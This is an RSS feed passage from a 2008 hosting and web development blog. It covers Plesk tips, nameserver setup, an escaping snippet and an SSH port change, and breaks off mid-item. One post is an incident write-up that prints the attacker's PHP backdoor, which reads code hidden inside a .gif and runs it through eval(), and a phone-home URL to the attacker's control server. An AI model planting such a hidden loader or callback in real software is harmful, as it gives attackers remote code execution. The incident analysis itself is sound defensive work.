<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Leading Edge Scripts</title>
	
	<link>http://leadingedgescripts.co.uk</link>
	<description />
	<lastBuildDate>Fri, 16 Oct 2009 09:14:32 +0000</lastBuildDate>
	
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/LeadingEdgeScripts" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
		<title>Recalculate disk space for a single domain in Plesk</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/-xFyZe-UPQA/</link>
		<comments>http://leadingedgescripts.co.uk/server-administration/recalculate-disk-space-for-a-single-domain-in-plesk/#comments</comments>
		<pubDate>Fri, 28 Nov 2008 10:57:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server Administration]]></category>
		<category><![CDATA[plesk]]></category>
		<category><![CDATA[quota exceeded]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=241</guid>
		<description><![CDATA[This is a pretty easy one, it&#8217;s useful if a client has gone over their allocated disk space. Occasionally even if they delete everything Plesk still thinks they are over until the nightly cron jobs are re-run.
This command just forces the job to re-run on  a single domain:
/usr/local/psa/admin/sbin/statistics &#8211;calculate-one &#8211;domain-name=Domain_name.com
]]></description>
			<content:encoded><![CDATA[<p>This is a pretty easy one, it&#8217;s useful if a client has gone over their allocated disk space. Occasionally even if they delete everything Plesk still thinks they are over until the nightly cron jobs are re-run.</p>
<p>This command just forces the job to re-run on  a single domain:</p>
<p style="padding-left: 30px;">/usr/local/psa/admin/sbin/statistics &#8211;calculate-one &#8211;domain-name=Domain_name.com</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/server-administration/recalculate-disk-space-for-a-single-domain-in-plesk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/server-administration/recalculate-disk-space-for-a-single-domain-in-plesk/</feedburner:origLink></item>
		<item>
		<title>Whitelabel your Plesk web hosts nameservers</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/QeAoTB_q2Jo/</link>
		<comments>http://leadingedgescripts.co.uk/server-administration/whitelabel-your-plesk-web-hosts-nameservers/#comments</comments>
		<pubDate>Thu, 27 Nov 2008 17:49:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server Administration]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[hide nameservers]]></category>
		<category><![CDATA[whitelabel nameservers]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=237</guid>
		<description><![CDATA[This post is all about how you can hide your hosting companies name servers. I run a web hosting company, and many of our clients are re-sellers, as you might expect, they don&#8217;t want people knowing who we are, so they want to hide our nameservers.
Incidentally, our nameservers are ns1.leadingedgehosting.co.uk &#38; ns2.leadingedgehosting.co.uk
This post will show [...]]]></description>
			<content:encoded><![CDATA[<p>This post is all about how you can hide your hosting companies name servers. I run a web hosting company, and many of our clients are re-sellers, as you might expect, they don&#8217;t want people knowing who we are, so they want to hide our nameservers.</p>
<p>Incidentally, our nameservers are ns1.leadingedgehosting.co.uk &amp; ns2.leadingedgehosting.co.uk</p>
<p>This post will show you how to set up your DNS so you can have ns1.yourdomain.com &amp; ns2.yourdomain.com whatever your web hosts nameservers are.</p>
<p>We use the <a href="http://www.parallels.com/plesk/">Plesk control panel</a> so I&#8217;m going to demonstrate how to do this using that, but in principle, as long as you have access to your own DNS records you should be able to do this using any control panel.</p>
<h2>Step 1.</h2>
<p>Create two new A-records on your nameservers for your domain as follows:</p>
<p><a href="http://www.leadingedgescripts.co.uk/wp-content/2008/11/nameservers.gif"><img class="alignnone size-medium wp-image-238" title="nameservers" src="http://www.leadingedgescripts.co.uk/wp-content/2008/11/nameservers-300x24.gif" alt="" width="300" height="24" /></a></p>
<p>These should point to your nameserver IPs.</p>
<h2>Step 2.</h2>
<p>Register your Glue records with your domain registrar. They will ask you for the IP addresses of your nameservers, these should match your IPs as set up above, and that&#8217;s it.</p>
<p>Your domain registrar may have the facility to register Glue records via their control panel, but many don&#8217;t, so you may have to email them.</p>
<p>Now you should be able to have ns1.yourdomain.com and ns2.yourdomain.com and use your web hosting companies nameservers as if they were your own!</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/server-administration/whitelabel-your-plesk-web-hosts-nameservers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/server-administration/whitelabel-your-plesk-web-hosts-nameservers/</feedburner:origLink></item>
		<item>
		<title>Preventing SQL Injection</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/7E01S9ZTrV4/</link>
		<comments>http://leadingedgescripts.co.uk/web-development/preventing-sql-injection/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 16:43:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[clean up input data]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=222</guid>
		<description><![CDATA[For anyone who needs it, here is a script I wrote to prevent SQL injection. It uses references to the original global arrays to clean them up.



&#160;


/**


&#160;* added the following code to enabled readyness for magic_quotes() being removed


&#160;* in PHP6


&#160;* 


&#160;* added by C. Cook 15/8/2008 


&#160;*/


//Turn off magic quotes the manual way, this also [...]]]></description>
			<content:encoded><![CDATA[<p>For anyone who needs it, here is a script I wrote to prevent SQL injection. It uses references to the original global arrays to clean them up.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/**</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* added the following code to enabled readyness for magic_quotes() being removed</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* in PHP6</span></div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">&nbsp;* </span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* added by C. Cook 15/8/2008 </span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//Turn off magic quotes the manual way, this also cleans up all our nasty data&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$in</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span>&amp;<span class="re0">$_GET</span>, &amp;<span class="re0">$_POST</span>, &amp;<span class="re0">$_COOKIE</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span><a href="http://www.php.net/list"><span class="kw3">list</span></a><span class="br0">&#40;</span><span class="re0">$k</span>, <span class="re0">$v</span><span class="br0">&#41;</span> = <a href="http://www.php.net/each"><span class="kw3">each</span></a><span class="br0">&#40;</span><span class="re0">$in</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re0">$v</span> <span class="kw1">as</span> <span class="re0">$key</span> =&gt; <span class="re0">$val</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/is_array"><span class="kw3">is_array</span></a><span class="br0">&#40;</span><span class="re0">$val</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//now we re-escape our input data</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$in</span><span class="br0">&#91;</span><span class="re0">$k</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> = <a href="http://www.php.net/mysql_real_escape_string"><span class="kw3">mysql_real_escape_string</span></a><span class="br0">&#40;</span><a href="http://www.php.net/stripslashes"><span class="kw3">stripslashes</span></a><span class="br0">&#40;</span><span class="re0">$val</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//$in[$k][$key] = stripslashes($val);&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">continue</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$in</span><span class="br0">&#91;</span><span class="br0">&#93;</span> =&amp; <span class="re0">$in</span><span class="br0">&#91;</span><span class="re0">$k</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/unset"><span class="kw3">unset</span></a><span class="br0">&#40;</span><span class="re0">$in</span><span class="br0">&#41;</span>;&nbsp; &nbsp; &nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/web-development/preventing-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/web-development/preventing-sql-injection/</feedburner:origLink></item>
		<item>
		<title>Simple Tip To Reduce Brute Force Hacks Via SSH</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/ZdawKjYU-xs/</link>
		<comments>http://leadingedgescripts.co.uk/computer-security/simple-tip-to-reduce-brute-force-hacks-via-ssh/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 22:03:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=224</guid>
		<description><![CDATA[This is very simple, but I&#8217;ve seen a massive reduction in brute force attempts simply by changing the default port for SSH connections.
It&#8217;s pretty simple to change the default port:
Just edit the SSH configuration file, normally this will be found in /etc/ssh or /usr/local/etc/ssh.
To change it over, edit the line that reads &#8220;Port 22&#8243; or [...]]]></description>
			<content:encoded><![CDATA[<p>This is very simple, but I&#8217;ve seen a massive reduction in brute force attempts simply by changing the default port for SSH connections.</p>
<p>It&#8217;s pretty simple to change the default port:</p>
<p>Just edit the SSH configuration file, normally this will be found in /etc/ssh or /usr/local/etc/ssh.</p>
<p>To change it over, edit the line that reads &#8220;Port 22&#8243; or &#8220;#Port 22&#8243; to a different port number and then restart SSH.</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/computer-security/simple-tip-to-reduce-brute-force-hacks-via-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/computer-security/simple-tip-to-reduce-brute-force-hacks-via-ssh/</feedburner:origLink></item>
		<item>
		<title>On The Hunt For a Hacker – Part One</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/5Gs2UjJpRBU/</link>
		<comments>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/#comments</comments>
		<pubDate>Sat, 15 Nov 2008 15:18:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[hacking attempt]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=214</guid>
		<description><![CDATA[One of my clients has recently been hacked, and not knowing who else to turn to asked me to look into the hack, try and sort out the mess and fix the broken websites.
So before I start this post I think I should make it clear that I am supporting my clients legacy code, which [...]]]></description>
			<content:encoded><![CDATA[<p>One of my clients has recently been hacked, and not knowing who else to turn to asked me to look into the hack, try and sort out the mess and fix the broken websites.</p>
<p>So before I start this post I think I should make it clear that I am supporting my clients legacy code, which was developed by another developer at least 3-4 years ago. My client is aware of the issues with the code and is actively seeking to patch it up.</p>
<p>So anway, yesterday I got an email from my client at around 3pm showing some rather nasty Google search results with some of his domains listed in them. Naturally I clicked on the links to see what would happen, and sure enough, after being sent to my clients website, I was sent on to some kind of affiliate web page full of pop-ups trying to tell me my machine had a virus and that I should buy the anti-virus software they were selling &#8211; I&#8217;m sure you&#8217;ve all seen the kind of website I&#8217;m talking about.</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
<p>So obviously this is a bit of an emergency, so I stopped what I was doing and started to investigate. I&#8217;m still not certain how the attack is being implemented since we&#8217;ve not yet managed to discover how the hacker is getting access to the server, hence this being probably the first post in a series, but I&#8217;ll tell you what I know.</p>
<p>About a month ago, my client phoned me up saying he had accidentally clicked on a virus in his email, and it had caused major problems on his PC. He told me he was running anti-virus software and cleaning up his machines. Knowing that my client doesn&#8217;t have the greatest computer skills I thought &#8220;uh oh&#8221; this could be bad.</p>
<p>Shortly after this, maybe a week later, my client phones up because one of his clients ecommerce websites (he runs a small web development firm) was redirecting visitors to a web page selling anti-virus software! (sound familiar?). So I took a look around the code and discovered that one of the product names in the database had been changed to include some JavaScript which redirected you immediately to this AV affiliate website.</p>
<p>My first thought was oh no, this means the website has been SQL injected, so I looked through the logs and sure enough there were some requests coming from a bot that was trying to SQL inject. Obviously I patched up the SQL injection vulnerability and nothing else of the issue.</p>
<p>Then, about 2 weeks later, I get another phone call; the websites doing the same thing. So now I know it can&#8217;t be SQL injection, which means the hacker either has root access to the server the website(s) are on (more than one has been affected to date), or that the hacker has FTP access, so I instruct my client to change all his FTP usernames and passwords, which he promptly does, and I fix the issues with the code.</p>
<p>Then about 2 weeks more pass by and I get an email entitled &#8220;Nightmare!!&#8221;, which is kind of where this story begins&#8230;</p>
<p>So, as I mentioned above, I visited the website in my browser &#8211; looks fine, I am able to browse the shop, I&#8217;m not redirected anywhere, but the email from my client has links to this website that definately redirect to the affiliate website in question. So I type the address into my browser including the full URL from my clients email, and sure enough I am redirected to this affiliate website.</p>
<p>The url looked like this:</p>
<blockquote><p>http://www.clientsdomain.com/index.php?id=50000</p></blockquote>
<p>So naturally I checked out index.php, and saw the following code:</p>
<blockquote><p>&lt;?<br />
$browser = CheckBrowser();<br />
$link = $browser ? &#8216;index.php?id=50000&#8242; : &#8216;about-us.php&#8217;;<br />
$title = $browser ? &#8216;Blog &lt;font color=#FF0000&gt;(NEW)&lt;/font&gt;&#8217; : &#8216;About us&#8217;;<br />
?&gt;<br />
&lt;td height=&#8221;26&#8243; align=&#8221;center&#8221; class=&#8221;style51&#8243;&gt;&lt;a href=&#8221;&lt;? echo $link; ?&gt;&#8221;&gt;&lt;? echo $title; ?&gt;&lt;/a&gt;&lt;/td&gt;</p></blockquote>
<p>Roughly speaking, this code checks the browser, and either displays a link to about-us.php or links off the url above (index.php?id=50000).</p>
<p>Now, that&#8217;s interesting, so I needed to know what the php function CheckBrowser() was doing&#8230; so I had to hunt around the code (all Object Orientated Code without documentation) and I found the CheckBrowser() function &#8211; it was basically testing to see if the request was being made by GoogleBot, or Yahoo. So to test my theory I used the following great little tool ( <a href="http://www.web-tool.org/cloak-check/cloak-check.asp">http://www.web-tool.org/cloak-check/cloak-check.asp</a> ) in conjunction with <a href="http://bethebot.com">http://bethebot.com</a> and yep, this website was definitely cloaking.</p>
<p>So then I had to figure out how it was redirecting, index.php didn&#8217;t have any code to check for $_GET variables, nor did it include any code to redirect people; strange&#8230;</p>
<p>So I took another good look around the code and found the following bit of PHP:</p>
<pre>        if(isset($_REQUEST['id']))
        if(($_REQUEST['id']&gt;=50000)&amp;&amp;($_REQUEST['id']&lt;60000))
        {
            $fls = array(array('images/product-display-box_19.gif',3696,21894));
            foreach($fls as $v)
            if(file_exists($v[0]))
            {
                $f=fopen($v[0],'rb');fseek($f,$v[1],SEEK_SET);$d=fread($f,$v[2]);fclose($f);eval($d);megadupa($v[0]);
                break;
            }
            die();
        }</pre>
<p>Amusingly, placed immediately preceding my code designed to prevent SQL injection.</p>
<p>Now look at this code, there is a $_GET variable called id, with a value between 50000 and 60000 it opens a file on the server product-display-box_19.gif and reads a specific part of that file and then evals()  whatever it finds (which means it &#8220;runs the code&#8221;). Now a .gif image shouldn&#8217;t be able to be executed, so how does this work? and, what the hell is the megadupa() function, that&#8217;s not part of the PHP language, why isn&#8217;t this falling over saying that that is bad php.</p>
<p>So the next port of call was to look at product-display-box_19.gif. I checked out the images/ folder on the server and guess what, there is a 19MB file with that very name, now 19MB is HUGE for an image file, so I though I need to see this.</p>
<p>I downloaded it from the server, and double clicked on it &#8211; I&#8217;m pretty good with PCs so although I knew I might suffer a buffer overlow attack or a trojan, but I&#8217;m confident I can handle these things <img src='http://leadingedgescripts.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Well, I loaded up the image and it was a tiny little .gif, it looked like the bottom of a button and would normally be 19 KB  in size not 19 MB! Obviously there is something fishy going on here. So I opened the .gif file using Notepad++, took ages of course, but once it had loaded, I scanned through the code and sure enough this .gif file has been specially crafted and contains loads of PHP, XHTML / CSS the lot, in fact it&#8217;s a pretty amazing file.</p>
<p>So I renamed the file to .php and noticing that there were some comments in the embedded PHP instructing me how to run the code without the eval() function stuck it on my local server and voila it loaded! And it didn&#8217;t just load anything, it loaded what looked like clones of Wordpress &#8211; two of them, loads of sex related keywords, basically this thing looked like it had been used repeatedly to hack servers. What a find.</p>
<p>So being curious I started to trawl through the code, and guess what, this script &#8220;phones home&#8221;, revealing IP addresses. So I followed them, and ended up on a webserver in the USA, with a message saying that &#8220;the service was unavailable&#8221;, so I referred back to the code, and noticed that when it &#8220;phones home&#8221; it also sends back information about the referrer, domain, IP address etc etc so I constructed a fake URL as follows</p>
<blockquote><p>http://123.123.123.123/gate/gate.php?t=av&amp;s=2&amp;pid=665&amp;uri=www.example.com%2Findex.php&amp;ip=64.22.112.234&amp;ref=&amp;ua=Mozilla%2F5.0+%28compatible%3B+Googlebot%2F2.1%3B+%2Bhttp%3A%2F%2Fwww.google.com%2Fbot.html%29</p></blockquote>
<p>And, I was in!</p>
<p>Suddenly this server in America sends me back a web address, you guessed it, for the affiliate website.</p>
<p>So now I&#8217;m looking at a server which instructs these scripts to point other peoples websites to a URL of the hackers choice! Of course at this stage I whois&#8217;ed the IP address and yes I know who is hosting the IP.</p>
<p>So next up, I do a reverse DNS lookup using <a href="http://www.myipneighbors.com/">http://www.myipneighbors.com/</a> and I find some of the other websites on the server in America. So I visited them, they pretty much all seemed to be spammy fake &#8220;search engines&#8221; but interestingly they linked back to another IP address &#8211; also in America, but on a different host server. So I loaded up the new IP address and was immediately redirected to domain. I&#8217;m not going to reveal the domain, but this gave me something else to run a whois check on.</p>
<p>So I did, and the domain resolved to someone in Texas, but even more interestingly, it included an email address for the registrant: @mail.ru</p>
<p>So now I&#8217;m looking at a Russian hacker, using a server in America to control what seems to be a number of compromised servers to redirect websites and manipulate search engine results to point to an affiliate website selling anti-virus software.</p>
<p>So, since I still don&#8217;t know how this person got into my clients website in the first place, I have instructed him to change his FTP passwords and not to log in again for the time being. I will be contacting the web hosting company and I&#8217;m waiting to see if the hacker gets back in again, if they do I can only presume the web host has been compromised.</p>
<p>Look out for part two&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/</feedburner:origLink></item>
		<item>
		<title>Cappuccino</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/45r55DSLSUs/</link>
		<comments>http://leadingedgescripts.co.uk/web-development/cappuccino/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 21:16:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[cappuccino]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=208</guid>
		<description><![CDATA[Ok, there isn&#8217;t a lot to say on this post since I don&#8217;t know a huge amount about it. However, take a look at Cappuccino a new web application framework, one that abstracts things so much that you no longer need to write XHTML or CSS (not 100% sure that that&#8217;s such a  great thing [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, there isn&#8217;t a lot to say on this post since I don&#8217;t know a huge amount about it. However, take a look at <a href="http://cappuccino.org/">Cappuccino</a> a new web application framework, one that abstracts things so much that you no longer need to write XHTML or CSS (not 100% sure that that&#8217;s such a  great thing at the moment, since <a href="http://validator.w3.org/check?uri=http%3A%2F%2Fcappuccino.org%2F&amp;charset=%28detect+automatically%29&amp;doctype=Inline&amp;group=0">the Cappuccino website doesn&#8217;t validate</a> (Edit 14.11.08: ok so yesterday it didn&#8217;t &#8211; see below)).</p>
<p>However, the principles on which this new framework are built sound very enticing:</p>
<blockquote><p>When you program in Cappuccino, you don&#8217;t need to concern yourself with the complexities of traditional web technologies like HTML, CSS, or even the DOM. The unpleasantries of building complex cross browser applications are abstracted away for you</p></blockquote>
<p>They also go on to talk about how you integrate your applications with desktop applications and go on to demonstrate the <a href="http://280slides.com/">first major application developed using Cappuccino</a> 280 slides even allows you to import powerpoint presentations directly from powerpoint &#8211; that&#8217;s cool!</p>
<p>I want to write more on this, so I&#8217;m going to test it out and come back to you.</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/web-development/cappuccino/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/web-development/cappuccino/</feedburner:origLink></item>
		<item>
		<title>Accessibility and Popup Links</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/-2nwojCw0ZM/</link>
		<comments>http://leadingedgescripts.co.uk/web-development/accessibility-and-popup-links/#comments</comments>
		<pubDate>Wed, 12 Nov 2008 13:55:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[accessibility]]></category>
		<category><![CDATA[target="_blank"]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=204</guid>
		<description><![CDATA[Ok, I&#8217;m sure this has probably been posted about elsewhere, but I&#8217;m starting to think that some of the guidelines and XHTML specs shouldn&#8217;t be treated as strict rules.
For example, I seem to get this a lot, you build a website using a Strict XHTML doctype and then clients start to ask you to put [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, I&#8217;m sure this has probably been posted about elsewhere, but I&#8217;m starting to think that some of the guidelines and XHTML specs shouldn&#8217;t be treated as strict rules.</p>
<p>For example, I seem to get this a lot, you build a website using a Strict XHTML doctype and then clients start to ask you to put popup links in (target=&#8221;_blank&#8221;) now we all know that this goes against the strict doctype and doesn&#8217;t validate, but when I object to my clients, well, they still want this feature.</p>
<p>On reflection perhaps it&#8217;s not such a bad thing anyway, a lot of times a link will open a pdf and lots of users close the window expecting to return to their web browser, but actually end up closing their browser altogether.</p>
<p>Instead of putting the focus on web developers, perhaps we should ban these browser add-ins as a worse barrier to usability than target=&#8221;_blank&#8221; links, which in this example may improve usability&#8230;</p>
<p>I know I can switch to the transitional doctype to get round this, but generally I&#8217;d prefer not to have to.</p>
<p>I also understand that XHTML was developed to work across a number of applications / devices and therefore target=&#8221;_blank&#8221; may not be great for pdas or mobile phones, but neither is a pdf document which most mobile phone users can&#8217;t (yet) open.</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/web-development/accessibility-and-popup-links/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/web-development/accessibility-and-popup-links/</feedburner:origLink></item>
		<item>
		<title>How to use the HTML address tag?</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/5OpzqLR-MaE/</link>
		<comments>http://leadingedgescripts.co.uk/web-development/how-to-use-the-html-address-tag/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 14:17:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[html address tag]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=196</guid>
		<description><![CDATA[Right, can anyone help me out here?
I make a lot of websites, and I know HTML 4 &#38; XHTML pretty damn well, but I can&#8217;t fathom the W3C definition of the &#60;address&#62; tag.
I quote:
The &#60;address&#62; tag defines contact information for a document or a  section.

Tips and Notes
Note: The &#60;address&#62; tag should NOT be used [...]]]></description>
			<content:encoded><![CDATA[<p>Right, can anyone help me out here?</p>
<p>I make a lot of websites, and I know HTML 4 &amp; XHTML pretty damn well, but I can&#8217;t fathom the <a href="http://www.w3schools.com/TAGS/tag_address.asp">W3C definition of the &lt;address&gt; tag</a>.</p>
<p>I quote:</p>
<blockquote><p>The &lt;address&gt; tag defines contact information for a document or a  section.</p></blockquote>
<blockquote>
<h2>Tips and Notes</h2>
<p><strong>Note:</strong> The &lt;address&gt; tag should NOT be used as describing a postal address,  unless it is a part of the contact information.</p></blockquote>
<p>So what is it for then? Mostly when I have an address it&#8217;s for post; I quite like being contacted by post.</p>
<p>Are they saying don&#8217;t use it for addresses?</p>
<p>Can anyone clear this up for me?</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/web-development/how-to-use-the-html-address-tag/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/web-development/how-to-use-the-html-address-tag/</feedburner:origLink></item>
		<item>
		<title>Proposal for HTML 5?</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/ooDGpXmeVTs/</link>
		<comments>http://leadingedgescripts.co.uk/web-development/proposal-for-html-5/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 14:09:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[html]]></category>
